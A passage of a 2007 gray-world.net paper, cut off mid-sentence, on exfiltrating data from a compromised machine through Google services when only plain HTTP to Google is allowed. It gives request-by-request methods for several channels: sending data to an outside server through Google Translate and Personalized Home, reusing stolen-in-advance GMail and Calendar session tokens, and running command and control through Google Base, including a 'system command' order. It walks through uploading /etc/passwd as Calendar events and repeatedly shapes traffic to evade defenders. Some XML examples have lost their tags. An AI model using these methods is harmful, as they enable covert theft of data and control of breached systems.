================================================================================ g00gle CrewBots or "How to firesmith a battleship" [0] v1.0 - [04/09/2007] Matteo Memelli < matteo [gw] gray-world.net > (& KT, covered in a channel for sure) http://www.gray-world.net ================================================================================ -- "Captain's diary / next harbour to buy list : the last j0hnny's book" -- ================================================================================ HAZREP: This document is not intended to be a guide to hack g00gle services! If you've evil intentions, stop reading this Drifty Kiddie Cruiser and go away! ================================================================================ Copyright (c) 2007 Matteo Memelli gray-world.net> and Gray World Team Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. You should have received a copy of the license with this document and it should be present in the fdl.txt file. If you did not receive this file or if you don't think this fdl.txt license is correct, have a look at the official http://www.fsf.org/licenses/fdl.txt licence file. ================================================================================ ======= SUMMARY ======= INTRODUCTION I. MINING 1. Exchanging information with a remote server 1.1. Translating 1.2. Personalized home page 1.3. Cache of the g00gle 2. Exchanging information with the g00gle 2.1. g00gle Authentication - "Enroll a crew of friendly pirates" 2.2. Gmail - "Battleship Supplies? (SP)iced h(AM)!" 2.3. Calendar - "Time to feed the Crew" ( Part 1 ) 2.4. g00gle Base - "Time to feed the Crew" ( Part 2 ) 2.5. Personalized home - "Battleship Treasures Unloading" 2.6. Personalized home - "Battleship Supplies Loading" 2.7. g00gle Search History - "Crew is hunting for treasures" 2.8. g00gle Spreadsheets - "Ship route calculator" 2.9. g00gle Notebook - "Captain's Log" II. SMITHING 1. Smithing the Battleship 1.1. Data Upload - "Choosing a ship model" 1.2. AC Exchange - "Choosing the crew food" 1.3. One Step Beyond - "The Ghost Battleship" III. CRAFTING 1. Crafting the Battleship 1.1. Captain's Bridge - "cApTAiNsBrIdGe.py" 1.2. Crew's Hold - "GcReWbOt.py" 1.3. A Real Session - "Hoisting up the Pirate Flag" 1.4. Captain's Hints x. Java[script] Island stopover : enrolling sailors on the way SAILING FAR FAR AWAY TO CONCLUDE WEBOGRAPHIE THANKS ANNEX ANNEX 1 - g00gle Calendar XML feed ANNEX 2 - ClientLogin process ANNEX 3 - GMail Login ANNEX 4 - Calendar event posting ANNEX 5 - PH tab name container ANNEX 6 - PH Sticky note container ANNEX 7 - g00gle Base data upload ANNEX 8 - g00gle Base search ANNEX 9 - GMail data download ANNEX 10 - GMail data upload ANNEX 11 - g00gle Spreadsheet ANNEX 12 - Overheads ANNEX 13 - Notebook auth ANNEX 14 - Notebook sync ================================================================================ ============ INTRODUCTION ============ Firesmithing started when a customer told us "Dude, don't you think I'm safe ? I disabled HTTP over SSL proxying and setuped a white list of authorized websites my users can HTTP from the internal network. I feel like hackers won't be able to exfiltrate sensitive documents through the web, won't they?". We discussed that topic with friends a few weeks later and they told me they already had to deal with such a behaviour (bee bee bee bee bee bee bee bee ...). They proved to a customer that his information system was wide open during a 12/24 hours period because of a browser vulnerability (delay for AV to get the updated config) and customer told them it was no big problem because of a white list authorizing only few websites (including the famous g00gle :|) and performing lookup over IP addresses to check that IP were related to HTTP "host:" header. So it seems that if you deny every website but the g00gle one (and some other business related websites) and you forbid your users from ssl-izing their datastream, then you're safe and your user will hardly find a way to upload sensitive information to an unauthorized and remote server. We then discussed this topic with TGW, had a look at [1] and [2] and started thinking : The vulnerability window is something like few hours and we want to exfiltrate documents or data the most stealthy way. We don't care about having a lot of bandwidth or high latency "qui vont avec" as long as we keep unnoticed. Then, once we'll have exfiltrated data, we won't care anymore if the compromised box or any intermediary box is detected and forensic-ed. Finally, we only are allowed to browse the g00gle using HTTP (not SSLized)... but the g00gle is our friend, is it ? Subliminal message from a reviewer : Although this paper focuses on exfiltrating sensitive arbitrary data from a compromised box through the g00gle, the reader also has to understand that compromising the remote box through the g00gle with an unpatched browser vulnerability may be an objective... too... ou pas. ================================================================================ ========= I. MINING ========= We first suppose we don't care about the exploitation vector (whereas it is remote web or mail exploitation or local network compromise isn't of our business). We know we compromised a box and we know we can browse the g00gle from this box. What we need is a way to ask the g00gle for "something" (not this "something" guys) so that parts of our data will be stored and/or forwarded on/from the g00gle and become available from/to a third party external user. Don't forget that we only can HTTP to the g00gle and that the mandatory proxy server will check that the "Host:" header field is related to a ".g00gle" subdomain. We thus need to review how the g00gle acts and try to mine ores that allow : - to exchange information with a remote server ; - to exchange information with the g00gle and let our remote friend know how to access it ; 1. Exchanging information with a remote server ============================================== 1.1. Translating ================ Characteristics : Direct contact access for upload and download This is the most easy way to contact a remote host through the g00gle. When we ask the g00Gle to translate the GW home page, it fetches the page from the remote server and then returns the translated content. For example, asking http://www.google.com/translate_c?ie=UTF-8&oe=UTF-8&langpair=en%7Ces&u=http:/\ /gray-world.net/ will translate the GW home page in Spanish and our request will be sent to the GW server from the g00gle. Requests/Response : //-------------------------------------------------------------------\\ GET http://www.google.com/translate_c?hl=en&ie=UTF-8&oe=UTF-8\ &langpair=en%7Ces&u=http://gray-world.net/?Firesmithing HTTP/1.1 Host: www.google.com HTTP/1.1 302 Found Location: http://[IPG00GLE]/translate_c?hl=en&ie=UTF-8&oe=UTF-8\ &langpair=en%7Ces&u=http://gray-world.net/?Firesmithing ------------------------------------------------------------------- GET http://[IPG00GLE]/translate_c?hl=en&ie=UTF-8&oe=UTF-8\ &langpair=en%7Ces&u=http://gray-world.net/?Firesmithing HTTP/1.1 Host: www.google.com HTTP/1.1 200 OK Content-Location: http://gray-world.net/ Server: TWS/0.9 [Translated content] \\-------------------------------------------------------------------// Logfile : //-------------------------------------------------------------------\\ [IPG00GLE] - - gray-world.net 193.239.120.148:80 [date]\ "GET /?Firesmithing HTTP/1.0" 200 7863 "-"\ "browser (via translate.google.com)" \\-------------------------------------------------------------------// Overhead: --------- As we can pass data only using the GET method, supposing to exfiltrate a ~30Kb file, EB must perform ~16 uploads (depends on the length of the web site URL we'll `translate`). Because each upload is a two step process, we have the following requests: - GET /translate_c?langpair=en%7Cit&u=http://gray-world.net/ HTTP/1.1 Host: www.google.com - GET /translate_c?langpair=en%7Cit&u=http://gray-world.net/i?DT HTTP/1.1 Host: [IPGOOGLE] ==[[ Refer to ANNEX 12-I.I Translation overhead ]]== The first request is used to get the right g00gle IP address and, as you can see, we don't pass data to minimize the overhead; you'll also notice that we did remove not compulsory variables and that the `/i` document should be an empty file (for the same reason). As shown in ANNEX 12-I.I, the total overhead for a ~30Kb file using translation function is 2993 * 16 uploads, 47888 Bytes (~156%). Again referring to ANNEX 12-I.II, downloading an authorization context string of 182 bytes (you'll understand that 182 magic value later ;)) will give us a 1115 bytes overhead (613%). Pros and Cons : --------------- $ This is an esthetic solution to send arbitrary data to a remote location and it seems not to be suspicious for a user to request a translation if he is authorized to surf the g00gle. $ This is also an esthetic solution to get information from a remote host as this information will not be "cached" within the g00gle. - We have to send data through the HTTP GET request so the available bandwidth is limited by the stealthiness factor. - Our remote server isn't anonymous anymore. As soon as we transmit data from the compromised box to this remote server, the detection team has the possibility to trace the server. Thus we, theoretically, cannot use this server more than once. 1.2. Personalized home page =========================== Characteristics : Direct contact access for upload The g00gle allows users to personalize their home page. One component allows users to "add stuff to your homepage" and this component is usable to forward data to a remote location. When you "add stuff", you can choose a remote location to fetch the content from. Requests/Response : //-------------------------------------------------------------------\\ GET http://www.google.com/ig/feeds?hl=en&q=http%3A%2F%2Fgray-world\ .net%2F%3FFiresmithing&page=advdsrch HTTP/1.1 Host: www.google.com HTTP/1.1 200 OK [...] Not Found: http://gray-world.net/?\ Firesmithing \\-------------------------------------------------------------------// Logfile : //-------------------------------------------------------------------\\ [IPGOOGLE] - - gray-world.net 193.239.120.148:80 [date]\ "GET /?Firesmithing HTTP/1.1" 200 8117 "-"\ "FeedFetcher-Google; (+http://www.google.com/feedfetcher.html)" \\-------------------------------------------------------------------// Pros and Cons : --------------- $ Another solution similar to the translation scheme allowing to send data to a remote host (but not allowing to get data unless a correct "stuff" exists on the remote server). - This behaviour is suspicious unless we set a correct "g00gle stuff" on the remote web server. If this "g00gle stuff" "officially" exists, then the client will have to implement the full communication process. - Again, the bandwidth is limited by the stealthiness factor. - And again, the remote server can be used only once. 1.3 Cache of the g00gle ======================= Characteristics : Delayed contact access for download. When requesting "http://google.com/search?q=cache:HpTpScLvdisJ:gray-world\ .net+battleship&strip=1", the request is sent to the g00gle but there's no way to store any information. The same behaviour applies when requesting images from g00Gle images (http://images.google.com/images?q=tbn:1lsO_iuquk\ NKTM:http://www.gray-world.net/images/alice.gif). This function of course allows us to fetch information from time to time from the g00gle (depending on cache update). This behaviour may be interesting for some kind of one time pad seed. Suppose we load a "g00gle cache url to fetch" on my ship. When my ship enters the exploited harbour, it uses the cached content as a seed provider to generate random stream used to [choose_your_operation] cipher the content to upload. This is a very c00l idea : we only have to store 27 bytes (HpTpScLvdisJ:gray-world.net) or 12 bytes (HpTpScLvdisJ) to get a bulk of useful seed bytes. We will focus on this topic in 'III-1.3.' where we will encode exfiltrated contents to stealth/protect the uploaded information. 2. Exchanging information with the g00gle ========================================= 2.1. g00gle Authentication - "Enroll a crew of friendly pirates" ================================================================ Most of the g00gle services we target require authentication. As you know, the big G offers two alternatives for account auth: - The ClientLogin API that lets you incorporate programmatic login into desktop or mobile applications; - The AuthSub API that gives web applications the ability to access user's g00gle services accounts without handling the user's login information; We will focus on the first option which, as you will see, will let us get and exchange login credentials between an exploited box and a wild web server. Login to a g00gle account requires to send a POST request to: --§ https://www.google.com/accounts/ClientLogin §-- ClientLogin requests/responses : ==[[ Refer to ANNEX 2 - ClientLogin ]]== The POST body should contain a set of query parameters as Email, Passwd, source and service using the application/x-www-form-urlencoded content type (source identifies our client application and service is the service name we want to access, cl for calendar...). Once the request succeeds, the service response is an HTTP 200 OK status code, plus three long alphanumeric codes (Authentication Context) in the body of the response: SID, LSID, and Auth. It seems that some g00gle services, like GMail, do not permit to perform the ClientLogin process to get authorization context; in those cases, as we will see in next chapters, other tokens are often involved in the authentication process. In any case, some of the g00gle tokens like SID, Auth and GX (for GMail) have something in common: upon signing out, those tokens, are cleared from the "browser's" cookie memory because they are set to expire (on the client side) at the end of the session. However they are still active on the server side for a variable time frame (years for the SID, 24 hours for the GX and about 2 weeks for the Auth token) indeed, they can be re-used even after logging off[8]. In next chapters, we will see how that point will be an advantage or a disadvantage for the detection team. ==[[ ClientLogin authentication process is well explained in [3]. ]]== 2.2. Gmail - "Battleship Supplies? (SP)iced h(AM)!" =================================================== Gmail is one of the functions we target but the main problem is (as most of the g00gle services do) it requires ssl to get `credentials` from the login part. However, as we love using standard technologies the unusual way, there is an easy way to use these services as a "store and get back" container. //-------------------------------------------------------------------\\ 2 |---> Direct g00gle <---| exploited box | NACS | | wild web server |---> GMail <---| 3 1 1. Wild web server connects through https to GMail and saves "authentication context" (AC). 2. Exploited box contacts the wild web server using one direct g00gle contact access as the ones we described previously and gets the AC. 3. Exploited box uses AC to upload/download data from the g00gle with the HTTP protocol only. \\-------------------------------------------------------------------// As mentioned in '2.1.', it seems we cannot use the ClientLogin process explained before to login to GMail accounts. Indeed, GMail will search for three cookies, S, GX and GMAIL_AT, which are returned after authentication against the following URL: --§ https://www.google.com/accounts/ServiceLoginBoxAuth §-- Auth mechanism, in this case, takes three requests/responses because of Gmail redirects, as shown hereunder : //-------------------------------------------------------------------\\ 1. POST https://www.google.com/accounts/ServiceLoginBoxAuth 2. GET https://www.google.com/accounts/CheckCookie?continue=\ http://mail.google.com/mail/?&service=mail&chtml=LoginDoneHtml 3. GET http://mail.google.com/mail/?auth=auth-string \\-------------------------------------------------------------------// GMail Login requests/responses : ==[[ Refer to ANNEX 3 - GMail Login ]]== Once the authentication context boards, WWS will keep and pass it to the exploited box so that it will be able to connect to the GMail account without SSL, bypassing thus the login mechanism. Receiving data from the GMail account : --------------------------------------- WWS and EB can get data from GMail account, performing GET requests to http://mail.google.com/mail/, specifying different parameters to personalize the "search" (we of course must fill the Cookie header with AC exchanged previously). One important parameter is `search` which allows us to find messages in different folders or to use labels tags. So, for example, if we send particular spam messages to the GMail account, WWS will be able to control a g00gle bot which may parse all email messages in the spam folder, performing requests similar to the following: //-------------------------------------------------------------------\\ GET http://mail.google.com/mail/?search=spam&view=tl \\-------------------------------------------------------------------// EB will Search for some information in message's subject, probably hidden with steganographic techniques (no?) and once it'll find an in board message from WWS, it will extract its ThreadID and perform another GET request to read information: //-------------------------------------------------------------------\\ GET http://mail.google.com/mail/?search=spam&view=cv&th=ThreadID \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 9 - GMail data download for reqs/resps sequences ]]== Note that this idea was theoretically described in 2003 in the [5] paper. We know this has not been implemented for the moment, do we ? ;) So in the last request, 'view' parameter changed from `tl` (thread list) to `cv` (??message view??) and 'th' specified the ThreadID from the previous request. The g00gle will then answer, giving us the body of the requested message. Another way to get GMail messages is to access the Atom system. GMail Atom lets you download email messages from an account in xml format and is available from : --§ https://mail.google.com/mail/feed/atom §-- Unfortunatly you can't access GMail Atom system using http only, so we won't be able to use this feature (getting messages in xml format would have been much more comfortable ! but do we care about comfort ? yes we do ! no we dont :) # end of reviewers) from the exploited box point of view. Moreover GMail Atom System auth returns only the 'S' Cookie and not the 'GX' one which is mandatory to access the html interface. Uploading data to the GMail account : ------------------------------------- But how can EB and WWS send messages and upload Geedunks to a GeeMail account ? That is the question ! Want a secret ? They only have to use the html interface :) To accept our mails, the Gmail shall get a POST request: //-------------------------------------------------------------------\\ POST http://mail.google.com/mail/ \\-------------------------------------------------------------------// ... submitting a mime message with some fields and (optionally) additional files (we, of course, must fill the Cookie header with previous AC exchanged). Then, we must set the right `Content-Type` header which also must contain the boundary marker. Last one may be extracted from the MIME message itself. As far as we know, following fields are mandatory in the POST request but some of them (cc, bcc, th and draft) may be empty strings: //-------------------------------------------------------------------\\ 'from' : 'SENDER EMAIL' 'to' : 'TO ADDRESS' 'cc' : 'CARBON COPY ADDRESS' 'bcc' : 'BLIND CARBON COPY ADDRESS' 'subject': 'MESSAGE SUBJECT' 'msgbody': 'MESSAGE BODY' 'at' : 'GMAIL_AT COOKIE' 'view' : 'sm' 'draft' : '' 'cmid' : '1' 'th' : '' \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 10 - GMail data upload for reqs/resps sequences ]]== Synchronization and Overhead: ----------------------------- To reply to an email we must set the `th` and `rm` parameters equal to the ThreadID we want to answer. Thus, communication synchronization could be performed using ThreadID unread flag and message sender, where each thread can represent a communication that can be started and stopped both by EB and WWS. Example: //-------------------------------------------------------------------\\ 1. WWS asks EB to start exfiltrating data opening the communication (sends a particular email opening a thread) 2. EB confirms (replying to the same thread) to WWS having received the request and starts uploading to the GMail account (same or another one). 3. WWS confirms (replying to the same thread) data upload is ok and closes the communication channel (thread). \\-------------------------------------------------------------------// GMail can send up to 10Mb of data for each `email` and we have more than 2GB for each account, so it seems to be a good candidate for a data channel. To exfiltrate a 30Kb file, EB may send a single message for a 2823 Bytes (9%) total overhead as shown in ANNEX 12.G. For the above header overhead calculation we kept unnecessary entries like `User-Agent` because we think that omitting them would be suspicious to the detection team using protocol analyzers, statistical behaviour analysis or other Conar Techs. Pros and Cons : --------------- $ Very c00l unusual solution. The wild web server (WWS) and exploited box exchange information with a "store and get back" mechanism. $ The WWS is able to get data as soon as it's available on the g00gle. - The WWS is able to monitor the g00gle container but is NOT able to close the session from time to time to "secure" uploading because of the g00gle session (GX) handling policy[8]. The exploited box will thus have to get a new AC every 24 hours and the detection team thus have a pretty decent amount of time to play with *our* (not their, you thieves!) uploaded data. - We loose the g00gle account once we're detected. - Detection team may has forbidden access to gmail subdomains. 2.3. Calendar - "Time to feed the Crew" ( Part 1 ) ================================================== Google Calendar allows registered users to view and update calendar events directly through a web browser or through clients which make use of the Google data API feeds. There are many possible uses for the Calendar data API. One that would be very interesting is the one letting you generate a public or private calendar you are able to access for direct download (read only) without authentication. As public calendar will show in g00gle searches, let's focus on direct download for private calendars. We first need a userID and a magic-cookie available from the calendar settings page. Then , having this delicious biscuit in our hands, we ask http://www.google.com/calendar/feeds/userID/\ private-magicCookie/basic to return all events as xml feeds. ==[[ Refer to ANNEX 1 - g00gle Calendar XML feed for reqs/resps ]]== EB may use this method to get AC uploaded by the WWS. In fact, as for the Gmail, we need to login to upload information on g00gle Calendar but we can, of course, adopt the "2.1/2.2" scheme to use ClientLogin Auth and AC exchange to get our "store and get back" container. As shown in ANNEX 12.A-I, the total overhead to get an AC string (182 bytes)from the Galley with this method is about 3150 bytes (1730% overhead). //-------------------------------------------------------------------\\ 2 |---> Direct g00gle <---| exploited box | NACS | | wild web server |---> Calendar <---| 3 1 See 2.2 for details about AC exchange between EB and WWS. \\-------------------------------------------------------------------// Having our AC context in our backpack, we can read and post cal entries without that d@#n ssl. Let's explain hereunder how to simply retrieve and upload data from a Calendar using g00gle apis ([5] again for description). - Retrieving data from Calendar: -------------------------------- To retrieve cal events we must send the following HTTP GET request to Calendar, using a special "default" URL (or specifying the user ID instead of "default") and an Authorization header: //-------------------------------------------------------------------\\ GET http://www.google.com/calendar/feeds/default/private/full \\-------------------------------------------------------------------// Authorization header in the request must be in the following format: //-------------------------------------------------------------------\\ Authorization: GoogleLogin auth=AuthToken \\-------------------------------------------------------------------// .. where AuthToken is the Auth string returned by the ClientLogin process (2.1.). Obviously we can filter our searches using optional parameters as start time, end time, title...: //-------------------------------------------------------------------\\ GET http://www.google.com/calendar/feeds/default/private/full?\ start-min=2007-01-31T00:00:00&start-max=2007-02-01T23:59:59 \\-------------------------------------------------------------------// If everything is ok, the g00gle will return an HTTP 200 OK status code and an XML feed containing all the calendar events matching our search. - Uploading data to Calendar: ----------------------------- To post an event we must send the following HTTP POST request to Calendar, using a special "default" URL (or use the user ID instead of "default") and an Authorization header: //-------------------------------------------------------------------\\ POST http://www.google.com/calendar/feeds/default/private/full \\-------------------------------------------------------------------// Authorization header in the request must be in the following format: //-------------------------------------------------------------------\\ Authorization: GoogleLogin auth=AuthToken \\-------------------------------------------------------------------// .. where AuthToken is the Auth string returned by the ClientLogin process (2.1.). The content that we'll send with the POST request should be an xml entry element (hereunder is for you) using the application/atom+xml content type. //-------------------------------------------------------------------\\ g00gle Calendar XML entry : g00gle Covert Channels Auth=AC Context grayworld grayworld@gmail.com \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 4 - Calendar event posting for reqs/resps ]]== Synchronization and Overhead: ----------------------------- A GCalendar channel between EB and WWS can be synchronized in many ways. If we suppose a scenario where WWS asks EB to upload a 30Kb file, we may have the following simple commands/fields: //-------------------------------------------------------------------\\ - rqnumber : incremental request number we can put this in the field. - request : request command we can put this in the <gd:where> field. * 0x10 = CHANGE EB CONNECTION TIME (EB will check for request every x seconds; x is set in the `<content>` field). * 0x20 = UPLOAD A FILE (file path specified in <content> field). \\-------------------------------------------------------------------// 1. WWS sends a command to EB adding an event in the calendar (year 2007): //-------------------------------------------------------------------\\ POST http://www.google.com/calendar/feeds/default/private/full POST BODY --------- <entry> [...] <title type='text'>0x01 /etc/passwd \\-------------------------------------------------------------------// 2. EB search for events in 2007 and finds the previous one: //-------------------------------------------------------------------\\ GET http://www.google.com/calendar/feeds/default/private/full?\ start-min=2007-01-01T00:00:00&start-max=2007-12-31T23:59:59 \\-------------------------------------------------------------------// 3. EB starts uploading data and sends a POST request, adding an event exactly one year later WWS' request date: //-------------------------------------------------------------------\\ POST BODY ------------------------------------------- [...] 0x01 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh [...] \\-------------------------------------------------------------------// 4. WWS looks for EB's response which searches for events one year later than its request date: //-------------------------------------------------------------------\\ GET http://www.google.com/calendar/feeds/default/private/full?\ start-min=2008-01-01T01:00:00&start-max=2008-01-01T01:00:00 \\-------------------------------------------------------------------// 5 WWS downloads data and deletes both request and response events sending DELETE commands to relative `edit` urls found in xml feed elements: //-------------------------------------------------------------------\\ DELETE http://www.google.com/calendar/feeds/default/private/full/\ WWSRESPONSEEVENTID/EDITKEY' DELETE http://www.google.com/calendar/feeds/default/private/full/\ EBRESPONSEEVENTID/EDITKEY' \\-------------------------------------------------------------------// EB may reply to WWS with a more elegant way, updating its events, but it'd have to use the PUT method which is exotic and will thus be suspicious to the detection team. For each POST REQUEST, we can upload 8192 bytes in the xml element and 1024 in both and <where> elements. So, if we ever wanted to exfiltrate a 30Kb file, we'd have to perform 3 uploads. Some of the xml fields, not useful for our data, are not mandatory and may be omitted to decrease our request overhead (<author>, <gd:transparency>, and <gd:eventStatus>). Let's calculate the total overhead cost (requests/responses) for a 30Kb file upload. As shown in ANNEX 12.A, g00gle's first response is a redirect which gives us a gsessionid cookie.. so for each upload (10Kb) we have: - request number 1 has an overhead of 427 Bytes for the header and 394 Bytes for the body (xml stuff in body request, ANNEX 12.A); - response number 1 (302 Moved Temporarily) 313 Bytes (only header info, ANNEX 12.A) - request number 2 has an overhead of 438 Bytes for the header and 394 Bytes for the body (we also have another 11 bytes for the gsessionid, ANNEX 12.A); - response number 2 (201 Created) 322 Bytes for the header and 12114 Bytes for the body (GCalendar replies with all the data we sent in the body, the feed posted with additional information like edit links, etc. ANNEX 12.A). .. which gives us a total overhead of 14402 Bytes for each upload and 43206 Bytes for a 30720 Bytes file upload, about 140% overhead. For the previous header overhead calculation, we kept again unnecessary entries like `User-Agent` because we think that omitting them would be suspicious to the detection team using protocol analyzers / statistical behaviour analysis. Pros and Cons : --------------- $ Very c00l unusual solution. The wild web server (WWS) and exploited box exchange information with a "store and get back" mechanism. $ The WWS is able to get data as soon as it's available on the g00gle. $ We still are able to get and update calendar feeds if detection team has forbidden access to google/calendar pages with a regexp on the url: in fact, we can ask the g00gle to translate our calendar url using its translation proxying facilities :) (Note that this won't work for GMail). - The WWS is able to monitor the g00gle container but is NOT, again, able to close the session from time to time to secure uploading because of the now infamous g00gle session (Auth) handling policy[8]. And thus, the detection team (blue team) still has an advantage over our exploitation team (red team). - Detection team may has forbidden access to google/calendar pages and to g00gle translation functions too. - We loose the g00gle account once we're detected. - Having the magic-cookie, detection team will be able to read (and not write) all events from our calendar unless we reset it in the settings page. Note that resetting the magic-cookie EB won't be able to get AC from WWS anymore unless WWS passes a new encrypted magic-cookie time to time to EB once connection is established. - Magic Cookie and UserID must be preshared to download AC from a private calendar. 2.4. g00gle Base - "Time to feed the Crew" ( Part 2 ) ===================================================== G00gle Base is a place where you can easily submit all types of online and offline content that will be searchable on g00gle few seconds after upload. You can describe any item you post with attributes using xml and attach up to 15 files to a single item with a maximum of 20 megabytes for all attachments. This base may be a great data "channel" because of many reasons; let's describe a possible scenario: //-------------------------------------------------------------------\\ 2 |---> g00gle Base Search <---| exploited box | NACS | | wild web server |---> g00gle Base <---| 3 1 1. Wild web server (WWS) connects through https to g00gle Base, uploads "authentication context" (AC) and X-Google-Key (XGK) in a gBase xml item and sets appropriate keywords in attributes. 2. The g00gle makes the item searchable in less than .. 10 secs :) 3. Exploited box (EB) searches gBase with approriate keywords and/ or in specific item categories, finds the right item, downloads it, gets AC / XGK and connects to gBase thus bypassing authentication. 4. Exploited box uses AC and XGK to upload/download data from gBase (or any other exchange information method described before) with the HTTP protocol only. \\-------------------------------------------------------------------// In this scenario, we supply our g00gle crewbot with a set of predefined keywords and/or item categories which will be used to build gBase searches so that EB won't need to know "a priori" an URL to download AC/XGK. We even can code an appropriate module for the bot which will give the possibility to get new keywords for other "searches". We will then have the possibility to set up many different g00gle backup accounts just in case we loose the first one: in fact, exploited box doesn't have to know the download/upload account content (same as when we looked for AC for Calendar or Gmail); EB only must search for keywords, get AC/XGK and use them! Obviously, it is possible to crypt AC/XGK with a pre-shared key or hide it with some spice of steganographic cream and delete auth context after it has been received. As for the Calendar meat, we will use g00gle apis to retrieve/upload data and although gBase homepage is located at base.google.com, our search/insert/ update queries will be performed to: //-------------------------------------------------------------------\\ GET http://www.google.com/base/feeds/snippets (search without auth) POST http://www.google.com/base/feeds/items (insert/update with auth) \\-------------------------------------------------------------------// To be able to insert, update and delete items, we must be logged with a g00gle account and we also must have an extra parameter named X-Google-Key (XGK) that can be obtained at http://base.google.com/base/api/api_signup. For this example we will create a new item type "Battleship" having two attributes, "Crew Breakfast" and "Crew Lunch" of text type. WWS will use the technique to get Authorization Context that we presented for Gmail and Calendar. Then WWS uploads a Battleship item and sets its title to "TGW B@ttl3ship", its "Crew Breakfast" attribute to the X-Google-Key (XGK) parameter and its "Crew Lunch" attribute to the Authorization Code received from the login process (AC). Serving the Breakfast or lunch starts at: //-------------------------------------------------------------------\\ POST http://www.google.com/base/feeds/items \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 7 - g00gle Base data upload - WWS inserts a new item ]]== Exploited box can now search for every item of type "Battleship" gaining AC and XGK: after all, we don't want mutiny from a hungry crew! ;) //-------------------------------------------------------------------\\ GET http://www.google.com/base/feeds/snippets/-/Battleship \\-------------------------------------------------------------------// ==[ Refer to ANNEX 8 - g00gle Base search - EB looks for AC/XGK ]]== Now that the crew is fed up, exploited box can loads the battleship and the ship sails away with information required by WWS. In fact, EB is now able to update the Battleship item (using the unique ID returned by query <id>http://www.google.com/base/feeds/snippets/17225147362612118753</id> (see ANNEX 8) or even able to create new items and exchange information with WWS using steganography to keep stealthiness. It seems there are, at least, two other possibilities to hide information uploaded using GBase: - WWS creates an item which supports expiration dates (event for example) and makes it expiring, changing expiration date, once EB acquired AC or once EB uploaded secret data; - WWS deactivates the item accessing gbase dashboard (after successfull authentication) once EB gained AC or once EB uploaded secret data and executes the "POST /base/processdashboard sessiontoken=SESSTOKEN&delist=\ Deactivate&offer_ITEMID=true" request. For these both possibilities, the item will be removed from public searches and WWS will be able to access it using an unique ID through a request http://www.google.com/base/feeds/items/ITEMID. Synchronization and Overhead: ----------------------------- One possible method of synchronizing a GBase channel would be to set up two different items types, one for WWS' requests and the second one for EB's responses. So, for example, using the following simple fields/commands: //-------------------------------------------------------------------\\ - rqnumber : incremental request number. - request : request command * 0x10 = CHANGE EB CONNECTION TIME (EB will check for request every x seconds; x is set in the `data` field). * 0x20 = EXECUTE SYSTEM COMMAND (command specified in `data` field). - data : data to upload / to request. \\-------------------------------------------------------------------// 1. WWS sends a command to EB adding a GBase item of type `CaptainOrder`: //-------------------------------------------------------------------\\ POST http://www.google.com/base/feeds/items/ POST BODY ------------------------------------------- [...] <entry> <g:item_type type='text'>CaptainOrder</g:item_type> <g:rqnumber>0x01</g:rqnumber> <g:request>0x10</g:request> <g:data>7200</g:data> </entry> \\-------------------------------------------------------------------// 2. EB search for Captain's orders and find the previous one: //-------------------------------------------------------------------\\ GET http://www.google.com/base/feeds/items/-/CaptainOrder DATA : 13 Bytes OVERHEAD: 2603 Bytes \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 12.B ]]== This authorization request will only search in owner's items. It is different from the GET /base/feeds/snippets/-/Battleship that searched all published items of Battleship type that could also have been posted by other random ships sailors. Note that if we think about using GBase for AC exchanges or as a control channel, we should try to decrease as much as possible our body overhead. Example, putting WWS `commands` (or AC) in <content> field (0x10:7200) and rqnumber in <title>, obtaining a total overhead of about 2600 Bytes (Refer to ANNEX 12.B) for each exchange with WWS (1398% condidering AC a string of 182 bytes). 3. EB executes the order and post a GBase item of type CrewReply: //-------------------------------------------------------------------\\ POST http://www.google.com/base/feeds/items/ POST BODY ------------------------------------------- [...] <entry> <g:item_type type='text'>CrewReply</g:item_type> <g:rqnumber>0x01</g:rqnumber> <g:respnse>OK. Going in stealth mode!</g:response> </entry> \\-------------------------------------------------------------------// 4. WWS looks for EB's response and executes a structured query to get EB's confirmation: //-------------------------------------------------------------------\\ GET http://www.google.com/base/feeds/items/-/CrewReply/?\ bq=[rqnumber:0x01] \\-------------------------------------------------------------------// 5. WWS deletes previous request/response using their unique identifiers returned in xml results (<id>URL</id>): //-------------------------------------------------------------------\\ DELETE http://www.google.com/base/feeds/items/REQUESTID DELETE http://www.google.com/base/feeds/items/RESPONSEID \\-------------------------------------------------------------------// A more elegant way would be to make EB updating WWS requests items, but this implies using the PUT method which, again, will be suspicious for the detection team. For each POST REQUEST, we can upload more than 30Kb in the <content> xml element and 1000 Bytes in <title>. So supposing we want to exfiltrate a 30Kb file we only need one easy upload. Removing all the the xml fields, not mandatory to the POST request, we'd obtain a 312 Bytes overhead for our xml body (Refer to ANNEX 12.C). Let's now calculate the total overhead cost (requests/responses) for a 30Kb file upload: - EB request has an overhead of 505 Bytes for the header and 318 Bytes for the body (xml stuff in body request, ANNEX 12.C); - GBase response (201 Created) has an overhead of 249 Bytes for the header and 1213 Bytes for the body (GBase doesn't reply with all the data we sent in the body as Calendar does, but only with some xml info like links to view/edit the feed, etc. see ANNEX 12.C for details). .. which gives us a total overhead of 2285 Bytes for a 30720 Bytes file upload, about 7.4% overhead. For the above header overhead calculs, we kept unnecessary entries like `User-Agent` because we blabla, you should start to understand ;) Pros and Cons : --------------- $ Stealth solution because exploited box contacts the g00gle domain only (no g00gle subdomain) $ Very c00l unusual solution. The wild web server (WWS) and exploited box exchange information with a "store and get back" mechanism. $ The WWS is able to get data as soon as it's available on the g00gle. $ We can still feed the crew if detection team has close our g00gle account because WWS can use backup accounts and exploited box will continue searching AC using search keywords. - The WWS is able to monitor the g00gle container but NOT able to close the session from time to time to "secure" uploading because of the 